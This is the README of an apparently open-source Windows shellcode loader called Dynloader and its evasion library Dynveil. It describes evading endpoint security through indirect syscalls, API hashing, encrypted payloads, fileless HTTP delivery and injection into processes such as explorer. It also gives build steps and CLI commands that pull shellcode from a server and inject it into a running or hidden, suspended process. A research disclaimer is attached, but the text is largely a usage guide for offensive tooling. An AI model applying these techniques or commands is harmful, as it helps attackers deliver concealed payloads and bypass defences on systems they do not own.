Modular Windows loader using C++
For Workaround Check -> Building, usage and testing / demo.
Dynloader is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both local and remote process contexts, the currect verison support only shellcode staging, Planned more implementation -> check out Planned features.
It can:
- Load shellcode from a local
.binfile- Fetch shellcode filelessly over HTTP (optional AES-256-CBC at runtime)
- Inject into a target by PID or process name
- Spawn a missing process headless (suspended + hidden), inject, then resume
Core evasion and resolution primitives are provided by Dynveil (lib/) — a reusable library that implements PEB/PE parsing, API hashing, Tartarus Gate indirect syscalls, section mapping, AES crypto, and HTTP transport. Dynloader is the CLI + ingestion orchestration layer on top of Dynveil.
This project is for educational and research purposes only.
It is designed to help understand:
- Windows PE internals
- Manual loading techniques
- Reverse engineering concepts
Do not use this software on systems you do not own or do not have explicit permission to test. The authors take no responsibility for misuse.
- Manual PE mapping / parsing — PEB + LDR walk and export (EAT) resolution without normal
GetProcAddressname strings - Indirect syscalls via Tartarus Gate — SSN extraction with Hell’s Gate / Halo’s Gate / HellHell style recovery when stubs look hooked; invoke via ntdll
syscall; retgadget - Section mapping —
NtCreateSection+NtMapViewOfSection/ unmap as alternate staging path - Dynamic API resolution — resolve modules and exports at runtime through Dynveil
- API hashing — djb2 hashes; no plaintext API names for resolved exports
- AES-256-CBC — encrypt offline; decrypt at runtime (file or fileless key fetch)
- Local & remote ingestion — self-process run or inject into another process
- Fileless HTTP server/client — serve and pull payload + optional key material
| Technique | Feature |
|---|---|
| Manual PE Mapping | Manual module + export resolution without GetProcAddress strings |
| Indirect syscall via Tartarus Gate (Hell's, Halo's, HellHell) | Indirect syscalls via ntdll syscall; ret gadget (bypasses usermode hooks on Nt* prologues). Halo’s Gate recovers SSNs when ntdll stubs are hooked |
| API hashing | Resolves exports by djb2 hash — no plaintext API names in the binary |
| Section mapping | NtCreateSection + NtMapViewOfSection as alternate staging backend |
| Minimal IAT | NT path via syscalls; Win32 only where needed (CreateThread / CreateRemoteThread, hashed) |
| W^X staging | NtAllocateVirtualMemory RW → write → NtProtectVirtualMemory RX (no RWX) |
| Payload encryption AES-256-CBC | Encrypted payload + dynamic key fetch (fileless) |
| Fileless HTTP | No payload file on disk at runtime — fetch from /api/v1/payload |
| Headless spawn | Target process started suspended + hidden before remote inject |
Dynveil is the shared research library under lib/. Dynloader does not reimplement every technique inline; it calls Dynveil modules for the heavy lifting.
Repo: https://github.com/Abishekponmudi/dynveil
What Dynveil provides:
- Manual PE parser — walk PEB → LDR lists, locate modules, walk the export address table
- Dynamic API resolver — hash-based export resolve (
kernel32,ntdll,bcrypt,ws2_32, …) - Tartarus Gate — SSN resolve (Hell’s / Halo’s / HellHell-style paths), build per-API stubs, jump to a shared ntdll
syscall; retgadget - Section map helpers — create section, map view, protect, unmap, cleanup
- Crypto — AES-256-CBC key material, encrypt/decrypt, pack/unpack key blobs
- HTTP transport — minimal fileless client + in-memory server for lab delivery
- Parse CLI — mode: local / remote (
--process) / fileless / server / encrypt / self-test. - Init Dynveil syscalls — Tartarus Gate builds SSNs + indirect stubs (shared ntdll gadget).
- Get shellcode
- Disk: read
.bin(or ciphertext if decrypt path applies) - Fileless:
GET /api/v1/payloadand, if AES,GET /api/v1/keythen decrypt at runtime
- Disk: read
- Choose ingestion
--processset → remote- else → local
- Local path
- Stage in current process with indirect Nt* (prefer alloc RW → write → protect RX; section map fallback)
- Execute with hash-resolved
CreateThread, wait for exit
- Remote path
- Target by PID or process name (works with many normal user-session binaries; no
SeDebugPrivilegeelevation assumed) - Discover by name via
NtQuerySystemInformation(SystemProcessInformation) over Tartarus Gate - If name not running → headless spawn (
CREATE_SUSPENDED+ no window), inject, ResumeThread - Open process: prefer
NtOpenProcess, fallback hashedOpenProcess - Stage:
NtAllocateVirtualMemory→NtWriteVirtualMemory→NtProtectVirtualMemory(RX) - Run: hash-resolved
CreateRemoteThread
- Target by PID or process name (works with many normal user-session binaries; no
- Done — local thread completes or remote thread is created; handles cleaned up.
Same staging/execution ideas apply whether bytes came from disk or from the fileless server.
Prerequisites: Windows 10/11 x64, MSVC C++ toolchain (VS 2019/2022/18 or Build Tools with Desktop development with C++). Internet + admin only needed for first-time auto-install.
build.bat :: Release x64 → x64\Release\loader.exe
build.bat debug :: Debug x64
build.bat clean :: Clean
build.bat --install :: Install minimal VS Build Tools if missing, then build
build.batfinds MSBuild viavswhere, picks a compatible toolset (v145/v143/v142), and buildsloader.sln. On a machine with no compiler,--installpulls official Build Tools + C++ workload (winget or bootstrapper).
LOCAL
loader.exe <file.bin> [--verbose]
loader.exe --process <name|PID> <file.bin> [--verbose]
loader.exe --enc AES <file.bin> [--verbose]
FILELESS
loader.exe --fileless --source <host[:port]> [--verbose]
loader.exe --fileless --source <host> --enc AES [--verbose]
loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]
SERVER
loader.exe --server <file.bin> [--port 8080] [--verbose]
loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]
| Path | Purpose |
|---|---|
GET /api/v1/payload |
Shellcode (plain or ciphertext) |
GET /api/v1/key |
AES key material (when encrypted) |
GET /api/v1/health |
Health check |
loader.exe --selftest --verboseChecks PEB resolve, Tartarus init path, and AES roundtrip.
loader.exe payload.bin --verboseloader.exe --process notepad payload.bin --verboseIf
notepadis not running, Dynloader spawns it headless, injects, resumes.
- Target by PID or process name (e.g.
notepad/1234) — supports many legitimate binaries in the same session without elevation (!SeDebugPrivilegenot required for same-integrity targets)- Process discovery via
NtQuerySystemInformation(SystemProcessInformation) over Tartarus Gate- If the named process is not running → spawn headless (
CREATE_SUSPENDED+ no window), inject, then resume- Remote stage:
NtAllocateVirtualMemory→NtWriteVirtualMemory→NtProtectVirtualMemory(RX)- Remote run: hash-resolved
CreateRemoteThread- Open target prefers
NtOpenProcess, falls back to hashedOpenProcess
loader.exe --process 4568 payload.bin --verboseTerminal A — server (host shellcode remotely):
loader.exe --server --enc AES payload.bin --port 8080 --verboseTerminal B — client (target machine, local run):
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --verboseTerminal B — client (target machine, remote inject):
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --process explorer --verboseloader.exe --enc AES payload.bin --verboseWrites .enc + .key next to the input for lab packaging.
- Manual PE loader — full PE / DLL support alongside shellcode (
.bin) - Manual DLL loader / remote DLL ingestion — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
- Threadless execution — move off classic thread APIs toward thread pool based execution
- Full section mapping — prefer section-based staging over native thread-centric paths where possible
- Section storming — multi-section staging patterns for research labs
- HTTPS encrypted channel — harden fileless delivery from plain HTTP to HTTPS
.
├── loader/ # Dynloader — CLI, modes, local/remote ingestion
│ ├── main.cpp
│ ├── cli.cpp / cli.hpp
│ ├── loader_core.cpp / loader_core.hpp
│ └── ingestion.cpp / ingestion.hpp
├── lib/ # Dynveil — https://github.com/Abishekponmudi/dynveil
│ ├── common/ # hashes, logging, NT types
│ ├── pe/ # PEB / PE / EAT parser
│ ├── resolve/ # dynamic API resolution
│ ├── syscall/ # Tartarus Gate indirect syscalls
│ ├── memory/ # section map + staging helpers
│ ├── crypto/ # AES-256-CBC
│ └── net/ # fileless HTTP client/server
├── tools/ # helpers (e.g. hash dump)
├── server.sh # optional server helper script
└── README.md
- Indirect syscalls cover Dynveil’s Nt* table (memory, open, process enum, sections) — not every Win32 call.
- Local execute uses hashed
CreateThread; remote uses hashedCreateRemoteThread. - Fileless transport is plain HTTP today (lab-oriented); HTTPS is planned.
Research & education only. Use on lab VMs you control. Stay legal.